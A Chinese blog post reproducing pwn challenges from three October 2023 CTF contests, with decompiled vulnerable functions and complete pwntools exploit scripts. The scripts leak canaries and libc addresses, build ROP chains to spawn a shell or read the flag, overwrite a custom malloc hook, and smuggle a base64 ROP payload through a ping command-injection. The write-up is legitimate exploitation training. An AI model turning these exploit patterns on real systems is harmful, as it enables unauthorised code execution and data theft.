2023-10月ctf复现记录

2023-10月ctf复现记录

柏鹭杯

eval

程序实现简单的了四则运算(+、-、*、/)。

程序维护的运算结构体大致如下:

1
2
3
4
5
6
7
8
9
struct Cal
{
size_t a1;
char *sym[2]; // 运算符号
size_t count;
size_t num1;
size_t num2;
};

正常情况下,运算的结果是:num1 += num2。若我们输入非正常的表达式,即以符号作为起始位置,则产生的结果为:count += num1。而程序对数字的索引都是通过count完成的,从而可以实现越界读写。

越界读

image-20231030115721061

越界写

image-20231030115831696

整体思路为:

  1. 输入畸形表达式实现越界读,泄露libc地址
  2. 实现越界写,覆盖sub_E50函数返回地址为one_gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './eval'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
if debug:
p = process(fn)

else:
p = remote()


def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')


command = '''
b *$rebase(0xDC9)
b *$rebase(0xCB1)
b *$rebase(0xAC7)
b *$rebase(0xF64)
'''

p.sendline('+52')
leak = int(p.recvline()[:-1])
lg('leak', leak)

libc_base = leak - 0x24083
lg('libc_base', libc_base)

gadgets = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = libc_base + gadgets[1]

# dbg(command)

p.sendline('-' + str(7) + '+' + str(one_gadget))

p.interactive()

heap

程序自定义了堆的分配与释放过程。

程序维护的chunk结构体:

1
2
3
4
5
6
7
8
9
10
struct chunk
{
size_t flag;
int fixed;
int size;
chunk *next;
chunk *free_fd;
chunk *free_bk;
char *mem;
};

自定义malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
char **__fastcall malloc(__int64 size)
{
unsigned __int64 v2; // rax
unsigned __int64 v3; // [rsp+8h] [rbp-38h]
chunk *v4; // [rsp+10h] [rbp-30h]
chunk *i; // [rsp+18h] [rbp-28h]
chunk *v6; // [rsp+20h] [rbp-20h]
__int64 v7; // [rsp+28h] [rbp-18h]
chunk *mychunk; // [rsp+38h] [rbp-8h]

if ( malloc_hook )
return malloc_hook(size);
check_flag();
if ( (size + 0x17) <= 7 ) // 修正size
v2 = 8LL;
else
v2 = (size + 0x17) & 0xFFFFFFFFFFFFFFF0LL;
v3 = v2;
if ( v2 + 0x28 > 0xFFFF )
return 0LL;
if ( v2 + 0x28 >= totol_size )
sub_401713();
if ( v3 <= 0x80 && fastbin ) // 若fastbin不为空,使用fastbin分配chunk
{
v6 = fastbin;
fastbin = fastbin->free_fd;
alloc_chunk(v6, 128, 0LL);
return &v6->mem;
}
else
{
v4 = bins;
if ( bins->free_bk != &bins_start ) // 若bins不为空,使用bins分配chunk
{
while ( v4 != &bins_start )
{
v7 = v4->size & 0xFFFFFFF8;
if ( v7 - v3 <= 0x500 )
{
v4->free_fd->free_bk = v4->free_bk;
v4->free_bk->free_fd = v4->free_fd;
alloc_chunk(v4, v7, v4->next);
return &v4->mem;
}
v4 = v4->free_bk;
}
}
mychunk = get_chunk_start();
alloc_chunk(mychunk, v3, 0LL);
if ( chunk_head )
{
for ( i = chunk_head; i->next; i = i->next )
;
i->next = mychunk;
}
else
{
chunk_head = mychunk;
}
totol_size = totol_size - v3 - 40;
return &mychunk->mem;
}
}

自定义free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
unsigned __int64 __fastcall free(char *a1)
{
unsigned int n; // [rsp+1Ch] [rbp-44h]
chunk *victim; // [rsp+20h] [rbp-40h]
char *i; // [rsp+28h] [rbp-38h]
chunk *v6; // [rsp+38h] [rbp-28h]
chunk *free_fd; // [rsp+40h] [rbp-20h]
unsigned __int64 v8; // [rsp+58h] [rbp-8h]

v8 = __readfsqword(0x28u);
if ( free_hook ) // 判断free_hook是否为空
{
free_hook(a1);
}
else
{
check_flag();
if ( a1 )
{
victim = CONTAINING_RECORD(a1, chunk, mem);// a1 - 0x28
if ( *(a1 - 8) != 0xAAAAAAAA )
error_message("memory corruption detected");
if ( (victim->size & 1) == 0 )
error_message("double free detected");
n = (victim->size & 0xFFFFFFF8) + 40;
if ( chunk_head != victim && (get_chunk_start() - n) == victim )// last chunk
{
for ( i = chunk_head; i; i = *(i + 2) )
{
if ( *(i + 2) == victim )
{
memset(victim, 0, n);
totol_size += n;
*(i + 2) = 0LL;
sub_555555401062(victim);
return __readfsqword(0x28u) ^ v8;
}
}
}
victim->size &= ~1u; // 修改size最后一位
if ( (victim->size & 0xFFFFFFF8) > 0x80 ) // 判断size大小,使用双链表存储
{
v6 = bins;
free_fd = bins->free_fd;
free_fd->free_bk = victim;
victim->free_fd = free_fd;
victim->free_bk = v6;
v6->free_fd = victim;
}
else // 使用单链表存储
{
if ( fastbin )
victim->free_fd = fastbin;
fastbin = CONTAINING_RECORD(a1, chunk, mem);
}
}
}
return __readfsqword(0x28u) ^ v8;
}

后门函数backdoor

泄露FLAG环境变量。

1
2
3
4
5
6
7
8
9
int sub_EAD()
{
char *v0; // rax

v0 = getenv("FLAG");
if ( v0 )
LODWORD(v0) = puts(v0);
return v0;
}

漏洞点

edit功能的任意长度写,造成堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 edit()
{
__int64 result; // rax
int v1; // [rsp+Ch] [rbp-4h]

printf("index: ");
result = input();
v1 = result;
if ( result > 0x1F )
return result;
result = heap[result];
if ( !result )
return result;
printf("data: ");
return read(0, heap[v1], 0x1000uLL); // overflow
}

利用思路

  1. 分配大于0x80的chunk,释放并泄露libc地址与程序基地址
  2. 分配小于0x80的chunk,覆盖fastbin的free_fd指针,拿到任意地址xie
  3. 覆盖malloc_hook为backdoor。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './heap'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
if debug:
p = process(fn)
else:
p = remote()

def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')


def menu(index):
p.sendlineafter('> ', str(index))


def add(size):
menu(1)
p.sendlineafter('size: ', str(size))


def show(index):
menu(4)
p.sendlineafter('index: ', str(index))


def edit(index, content):
menu(3)
p.sendlineafter('index: ', str(index))
p.sendafter('data: ', content)


def delete(index):
menu(2)
p.sendlineafter('index: ', str(index))


add(0x100) # 0
add(0x100) # 1
add(0x100) # 2

delete(1)
edit(0, b'a' * 0x100 + b'c' * 0x11)
show(0)

p.recvuntil(b'c' * 0x10)
flag = u64(p.recv(8)[1:].rjust(8, b'\x00'))
lg('flag', flag)

edit(0, b'a' * 0x100 + b'c' * 0x20)
show(0)

leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
lg('leak', leak)

libc_base = leak + 0xfff50
lg('libc_base: ', libc_base)

edit(0, b'a' * 0x100 + b'c' * 0x28)
show(0)

p.recvuntil(b'c' * 0x28)
code_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x203060
lg('code_base', code_base)

malloc_hook = code_base + 0x2031E0
backdoor = code_base + 0xead

edit(0, b'a' * 0x100 + p64(0) * 2 + p64(flag) + p32(0xaaaaaaaa) + p32(0x110) + p64(leak))

add(0x100)

add(0x60) # 3
add(0x60) # 4
add(0x60) # 5
add(0x60) # 6

delete(5)
edit(4, b'a' * 0x60 + b'c' * 0x11)
show(4)

p.recvuntil(b'c' * 0x10)
flag_5 = u64(p.recv(8)[1:].rjust(8, b'\x00'))
lg('flag_5', flag_5)

edit(4, b'a' * 0x60 + p64(0) * 2 + p64(flag_5))

delete(4)

edit(3, b'a' * 0x60 + b'c' * 0x11)
show(3)

p.recvuntil(b'c' * 0x10)
flag_4 = u64(p.recv(8)[1:].rjust(8, b'\x00'))
lg('flag_4', flag_4)

edit(3, b'a' * 0x60 + p64(0) * 2 + p64(flag_4) + p32(0xaaaaaaaa) + p32(0x70) + p64(0) + p64(malloc_hook - 0x28))

add(0x60) # 4
add(0x60) # 5

edit(5, p64(backdoor))

# dbg('b *$rebase(0x122C)')

add(0x1000)

p.interactive()

香山杯

move

栈迁移到sskd,泄露libc地址,返回到main函数。直接输入system的pop链劫持read返回地址获取shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './pwn'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
if debug:
p = process(fn)

else:
p = remote()


def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')

bss = 0x4050A0

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

main = 0x401264
start = 0x4010d0

pop_rdi_ret = 0x0000000000401353
leave_ret = 0x000000000040124b

payload = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendafter('travel again!', payload)
p.sendafter('setp number', p32(0x12345678))

payload = b'a' * 0x30 + p64(bss - 0x8) + p64(leave_ret)
p.sendafter('TaiCooLa', payload)

puts = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
lg('puts', puts)

libc_base = puts - libc.sym['puts']
lg('libc_base', libc_base)

libc.address = libc_base

system = libc.sym['system']
binsh = libc.search(b'/bin/sh').__next__()

payload = p64(pop_rdi_ret) + p64(binsh) + p64(system)
p.sendafter('travel again!', payload)

p.interactive()

pwthon

题目是一个.so文件与main.py文件。

main.py

随机生成文件夹名,然后无限循环执行app库中的函数。app库是由cpython打包而成的.so文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import app

import os
import sys
import random
import string


def generate_random_string(length):
letters = string.ascii_letters + string.digits
return ''.join(random.choice(letters) for _ in range(length))

def create_random_folder():
folder_name = "./tmp/" +generate_random_string(7)
while True:
if os.path.exists(folder_name):
folder_name = generate_random_string(16)
else:
os.mkdir(folder_name)
return folder_name

folder_name = create_random_folder()


while True:
choice = input("> ")
if choice == '0':
app.app_main(folder_name)
pass
elif choice == '1':
app.calc(folder_name)
elif choice == '2':
app.load_arr(folder_name)
else:
print("Bye~")
break

直接运行main.py文件,报错没有app模块。

根据app.so文件名提示,尝试编译python3.7运行main.py,成功运行。

逆向app.so文件。直接搜索load_arr、calc、app_main等函数,反编译都特别长,一点都看不了。发现前缀都有一个app_,直接搜索,定位到Welcome2Pwnthon 函数。

image-20231030134910420

函数直接泄露程序地址,同时发现程序存在格式化字符串漏洞以及栈溢出漏洞。

交叉引用,发现app_main函数调用。

利用思路

  1. 泄露程序地址
  2. 通过格式化字符串泄露canary
  3. 通过栈溢出漏洞泄露libc地址并获取shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

elf = ELF('./app.cpython-37m-x86_64-linux-gnu.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
if debug:
p = process(['/home/p2lst/tools/Python-3.7.10/build/bin/python3', 'main.py'])

else:
p = remote()


def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')


p.sendlineafter('> ', '0')

p.recvuntil('a gift ')
leak = int(p.recv(14), 16)
lg('leak', leak)

app_base = leak - 0x68b0
lg('app_base', app_base)

p.sendline('%p' * 37 + 'l1s00t' + '%p')

p.recvuntil('l1s00t')
canary = int(p.recv(18), 16)
lg('canary', canary)

pop_rdi_ret = app_base + 0x0000000000003f8f
pop_rsi_ret = app_base + 0x0000000000003cd9

puts_plt = app_base + elf.plt['puts']
puts_got = app_base + elf.got['puts']

read_plt = app_base + elf.plt['read']

welcome = app_base + 0x99f0

payload = b'a' * 0x108 + p64(canary) + p64(0)
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(welcome)
p.sendline(payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
lg('puts_addr', puts_addr)

libc_base = puts_addr - libc.sym['puts']
lg('libc_base', libc_base)

system = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()

p.sendline('haha')
sleep(1)

payload = b'a' * 0x108 + p64(canary) + p64(0)
payload += p64(pop_rdi_ret + 1) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
p.sendline(payload)

p.interactive()

DASCTF10月赛

Guestbook

四次操作机会,存在栈溢出漏洞。

image-20231030135959960

利用思路

  1. 利用名字打印功能泄露canary
  2. 利用4次机会覆盖返回地址为backdoor
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python
#encoding:utf-8

from pwn import *
from pwn import p64, p32, p16, p8

context.arch = 'amd64'
context.log_level = 'debug'

fn = './GuestBook'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('/lib64/ld-linux-x86-64.so.2')

debug = 1
if debug:
p = process(fn)
else:
p = remote('node4.buuoj.cn', 27938)


def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()
else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')

backdoor = 0x4012C0

p.sendlineafter('your name:', 'a' * 0x18)
p.recvuntil("aaaa\n")

canary = u64(p.recv(7).rjust(8, b'\x00'))
lg('canary', canary)

# dbg()

p.sendlineafter('like to leave', str(4))
p.sendline(b'a' * 0xa8 + p64(backdoor))
sleep(0.2)

p.sendline(b'a' * 0x78 + b'b' + p64(canary)[1:])
sleep(0.2)

p.sendline(b'\x00' * 0x100)
sleep(0.2)

p.sendline(b'a' * 0x38)

p.interactive()

easybox

程序实现了一个简单的shell,实现了cat、ping、ls等简单功能。

pingCommand

check_ip 并没有过滤 ;` ,存在命令注入漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 pingCommand()
{
char s[256]; // [rsp+0h] [rbp-310h] BYREF
char command[520]; // [rsp+100h] [rbp-210h] BYREF
unsigned __int64 v3; // [rsp+308h] [rbp-8h]

v3 = __readfsqword(0x28u);
memset(s, 0, sizeof(s));
printf("Enter an IP address: ");
Read(s, 255LL);
memset(command, 0, 0x200uLL);
sprintf(command, "ping -c 4 %s > /tmp/result.txt", s); // Command inject
if ( (unsigned int)check_ip(s) )
exit(-1);
system(command);
printf("\x1B[32mPing result has been saved in /tmp/result.txt\n\x1B[0m");
return __readfsqword(0x28u) ^ v3;
}

catCommand

读取文件到栈中,没有检查文件长度,存在栈溢出漏洞。没有过滤 . ,存在目录穿透漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned __int64 catCommand()
{
FILE *stream; // [rsp+0h] [rbp-A0h]
__int64 n; // [rsp+8h] [rbp-98h]
char s[32]; // [rsp+10h] [rbp-90h] BYREF
char dest[32]; // [rsp+30h] [rbp-70h] BYREF
char ptr[72]; // [rsp+50h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+98h] [rbp-8h]

v6 = __readfsqword(0x28u);
memset(s, 0, sizeof(s));
memset(dest, 0, sizeof(dest));
memset(ptr, 0, 0x40uLL);
strcpy(dest, "/tmp/");
printf("Enter the filename to view: ");
Read(s, 31LL);
strcat(dest, s);
if ( (unsigned int)check_filename(dest) )
exit(-1);
stream = fopen(dest, "r");
if ( stream )
{
fseek(stream, 0LL, 2);
n = ftell(stream);
fseek(stream, 0LL, 0);
fread(ptr, 1uLL, n, stream);
fclose(stream);
puts(ptr);
}
else
{
printf("\x1B[31mopen error\n\x1B[0m");
}
return __readfsqword(0x28u) ^ v6;
}

利用思路

  1. 利用目录穿透漏洞泄露canary
  2. 利用命令注入向result.txt文件中写入pop链
  3. 通过catCommand触发pop链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
 #!/usr/bin/python
#encoding:utf-8

from pwn import *
import base64

context.arch = 'amd64'
context.log_level = 'debug'

fn = './pwn'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
if debug:
p = process(fn)

else:
p = remote('node4.buuoj.cn', 25663)


def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')


def ping(command):
p.sendlineafter('/home/ctf', 'PING')
p.sendlineafter('address:', command)


def cat(command):
p.sendlineafter('/home/ctf', 'CAT')
p.sendlineafter('to view:', command)


pop_rdi_ret = 0x401ce3
sh = 0x402090
system_plt = elf.plt['system']

p.sendlineafter('name:', 'l1s00t')

cat('../secret/canary.txt')
canary = int(p.recvline()[1:-1], 16)
lg('canary', canary)

rop = b'a' * 0x48 + p64(canary) + p64(0) + p64(pop_rdi_ret) + p64(sh) + p64(pop_rdi_ret + 1) + p64(system_plt)
rop = base64.b64encode(rop)
payload = b'; echo ' + rop + b' | base64 -d'
ping(payload)

# dbg()

cat('result.txt')

p.interactive()

binding

使用calloc分配范围0x100~0x200的堆块。

edit

存在栈溢出漏洞,且任意地址覆盖8字节,然后写一字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 edit()
{
unsigned int v1; // [rsp+4h] [rbp-3Ch]
_QWORD *buf; // [rsp+8h] [rbp-38h]
char s[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( !EDIT_TIME )
return __readfsqword(0x28u) ^ v4;
printf("Idx:");
memset(s, 0, 0x20uLL);
read(0, s, 0x40uLL); // overflow
v1 = atoi(s);
if ( v1 >= 0xF )
_exit(1);
puts("context1: ");
read(0, note[v1], 8uLL);
buf = *(_QWORD **)note[v1];
puts("context2: ");
read(0, buf, 8uLL);
*buf = (unsigned __int8)*buf;
--EDIT_TIME;
return __readfsqword(0x28u) ^ v4;
}

show

一次SPECIAL_SHOW机会,泄露任意地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 show()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Your choice:");
__isoc99_scanf("%d", &v2);
printf("Idx:");
__isoc99_scanf("%d", &v1);
if ( v1 >= 0xF )
_exit(1);
if ( !v2 )
goto LABEL_6;
if ( !SPECIAL_SHOW )
return __readfsqword(0x28u) ^ v3;
printf("context: ");
printf("%s", note[v1]);
--SPECIAL_SHOW;
LABEL_6:
printf("context: ");
puts(*(const char **)note[v1]);
return __readfsqword(0x28u) ^ v3;
}

利用思路

  1. 堆风水泄露libc地址
  2. 利用一次special_show泄露heap地址
  3. 利用一次EDIT_TIME,覆盖canary为0,且栈迁移到堆上
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './binding'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('/lib64/ld-linux-x86-64.so.2')

debug = 1
if debug:
p = process(fn)
else:
p = remote()

def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')


def menu(index):
p.sendlineafter('choice:', str(index))


def add(index, size, content='\n'):
menu(1)
p.sendlineafter('Idx:', str(index))
p.sendlineafter('Size:', str(size))
p.sendafter('Content:', content)


def show(choice, index):
menu(3)
p.sendlineafter('choice:', str(choice))
p.sendlineafter('Idx:', str(index))


def edit(index, content1, content2):
menu(2)
p.sendafter('Idx:', index)
p.sendafter('context1: ', content1)
p.sendafter('context2: ', content2)


def delete(index):
menu(4)
p.sendlineafter('Idx:', str(index))


for i in range(9):
add(i, 0x160, '/bin/sh\x00')

for i in range(7):
delete(i)

show(1, 7)
p.recvuntil('context: ')
heapbase = u64(p.recv(6).ljust(8, b'\x00')) - 0x1420
lg('heapbase', heapbase)

delete(7)
show(0, 7)

leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
lg('leak', leak)

libc_base = leak - 0x1ecbe0
lg('libc_base', libc_base)

canary = libc_base + 0x1f3568

leave_ret = libc_base + 0x00000000000578c8
pop_rax_ret = libc_base + 0x0000000000036174
pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_ret = libc_base + 0x0000000000142c92
syscall_ret = libc_base + 0x00000000000630a9

flag_addr = heapbase + 0x1420
data = heapbase + 0x2000
rop_data = [
pop_rax_ret, # sys_open('flag', 0)
2,
pop_rdi_ret,
flag_addr,
pop_rsi_ret,
0,
syscall_ret,

pop_rax_ret, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_ret,
3,
pop_rsi_ret,
data,
pop_rdx_ret,
0x40,
syscall_ret,

pop_rax_ret, # sys_write(1, heap, 0x100)
1,
pop_rdi_ret,
1,
pop_rsi_ret,
data,
pop_rdx_ret,
0x40,
syscall_ret
]

payload = b'flag\x00\x00\x00\x00' + flat(rop_data)
add(9, 0x160, payload)

payload = b'8 '
payload = payload.ljust(0x28, b'a')
payload += p64(0)
payload += p64(flag_addr) + p64(leave_ret)

# dbg()

edit(payload, p64(canary), '\x00')

p.interactive()

BadUdisk

提供了两个二进制程序。

查看Dockerfile,程序首先运行start.sh,然后运行start_damon.sh ,其不断检测mkudiskvold进程是否存在,且vold进程在mkudisk进程之后运行,最后先运行mkudisk程序,然后运行vold

反编译两个程序。

可以看到,两个进程间通过posix信号量通信。

mkudisk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
unsigned __int64 work()
{
int semid; // [rsp+Ch] [rbp-74h]
int fd; // [rsp+10h] [rbp-70h]
struct sembuf sops; // [rsp+14h] [rbp-6Ch] BYREF
struct sembuf v4; // [rsp+1Ah] [rbp-66h] BYREF
char s[32]; // [rsp+20h] [rbp-60h] BYREF
char haystack[56]; // [rsp+40h] [rbp-40h] BYREF
unsigned __int64 v7; // [rsp+78h] [rbp-8h]

v7 = __readfsqword(0x28u);
semid = semget(1234, 3, 0x3B6); // 获取三个信号量
if ( semid == -1 )
{
perror("semget failed");
exit(1);
}
semctl(semid, 0, 16, 0LL); // 初始化信号量
semctl(semid, 1, 16, 0LL);
semctl(semid, 2, 16, 0LL);
printf("\x1B[34mWelcome to CBCTF!\n\x1B[0m");
printf("\x1B[33mThis time you can mk a udisk and a process name vold will mount it to /home/ctf/mnt\n\x1B[0m");
printf("\x1B[31mGive me a label name you prefer:\x1B[0m");
if ( !access("/home/ctf/work/label", 0) )
system("rm /home/ctf/work/label");
system("touch /home/ctf/work/label && chmod 777 /home/ctf/work/label");
memset(s, 0, sizeof(s));
__isoc99_scanf("%20s", s);
if ( (unsigned int)check_label(s) )
exit(0);
fd = open("/home/ctf/work/label", 1); // 打开并写入label
if ( fd == -1 )
{
perror("open error");
exit(1);
}
if ( write(fd, s, 0x20uLL) == -1 )
{
perror("write error");
exit(1);
}
sleep(1u);
sops.sem_num = 0; // V操作(signal)
sops.sem_op = 1;
sops.sem_flg = 4096;
semop(semid, &sops, 1uLL);
v4.sem_num = 1; // P操作(wait)
v4.sem_op = -1;
v4.sem_flg = 4096;
semop(semid, &v4, 1uLL);
memset(haystack, 0, 0x30uLL);
while ( 1 )
{
printf("\x1B[32mctf@BadUdisk\x1B[0m:\x1B[34m/home/ctf/work\x1B[0m$ ");
__isoc99_scanf("%30s", haystack);
if ( strstr(haystack, "exit") )
break;
system(haystack);
}
printf("\x1B[34mfinished!\n\x1B[0m");
printf("\x1B[33mThen I will choose /home/ctf/mnt to mount\n\x1B[0m");
sleep(1u);
sops.sem_num = 2; // V操作(signal)
sops.sem_op = 1;
sops.sem_flg = 4096;
semop(semid, &sops, 1uLL);
sleep(5u);
printf("\x1B[31mThis is vold_log:\x1B[0m");
system("cat /home/ctf/work/vold_log.txt");
return __readfsqword(0x28u) ^ v7;
}

vold

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
unsigned __int64 work()
{
int semid; // [rsp+0h] [rbp-150h]
int fd; // [rsp+4h] [rbp-14Ch]
struct sembuf sops; // [rsp+14h] [rbp-13Ch] BYREF
struct sembuf v4; // [rsp+1Ah] [rbp-136h] BYREF
char s[32]; // [rsp+20h] [rbp-130h] BYREF
char command[264]; // [rsp+40h] [rbp-110h] BYREF
unsigned __int64 v7; // [rsp+148h] [rbp-8h]

v7 = __readfsqword(0x28u);
semid = semget(1234, 3, 0); // 获取信号id
if ( semid == -1 )
{
perror("semget failed");
exit(1);
}
sops.sem_num = 0; // P操作
sops.sem_op = -1;
sops.sem_flg = 4096;
semop(semid, &sops, 1uLL);
memset(s, 0, sizeof(s));
fd = open("/home/ctf/work/label", 0);
if ( fd == -1 )
{
perror("open error");
exit(1);
}
if ( read(fd, s, 0x20uLL) == -1 )
{
perror("read error");
exit(1);
}
memset(command, 0, 0x100uLL);
system("dd if=/dev/zero of=/home/ctf/disk.img bs=1M count=1");
system("umount /home/ctf/disk.img");
snprintf(command, 0x100uLL, "echo \"y\" | mkfs.ext4 -L %s /home/ctf/disk.img", s);
system(command);
system("mount /home/ctf/disk.img /home/ctf/tmp");
system("chmod 777 /home/ctf/tmp");
sleep(1u);
v4.sem_num = 1; // V操作
v4.sem_op = 1;
v4.sem_flg = 4096;
semop(semid, &v4, 1uLL);
sops.sem_num = 2; // P操作
sops.sem_op = -1;
sops.sem_flg = 4096;
semop(semid, &sops, 1uLL);
memset(command, 0, 0x100uLL);
system("umount /home/ctf/tmp");
snprintf(command, 0x100uLL, "mount /home/ctf/disk.img /home/ctf/mnt/%s", s);
system(command);
system("chmod +x /home/ctf/mybin/log && /home/ctf/mybin/log");
return __readfsqword(0x28u) ^ v7;
}

利用思路

利用mount进行suid提权。

  1. label中写入**../mybin**
  2. /home/ctf/tmp 中创建log文件并写入修改flag权限的指令
  3. vold最终执行mount时,实现suid提权
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

p = remote('127.0.0.1', 9999)

lg = lambda x, y: log.success(f'{x}: {hex(y)}')

p.sendlineafter('prefer:', '../mybin')

p.sendlineafter('$', 'sh')

p.sendline('cd ../tmp')
sleep(1)

p.sendline(f'echo "#!/bin/sh\ncat /home/ctf/flag > /home/ctf/work/vold_log.txt" > log')
sleep(1)

p.sendline('exit')
sleep(1)

p.sendlineafter('$', 'exit')

p.interactive()

image-20231030154647177

参考文档

https://blog.xmcve.com/2023/10/13/%E6%9F%8F%E9%B9%AD%E6%9D%AF2023-Writeup/#title-8

https://www.cnblogs.com/ve1kcon/p/17766267.html

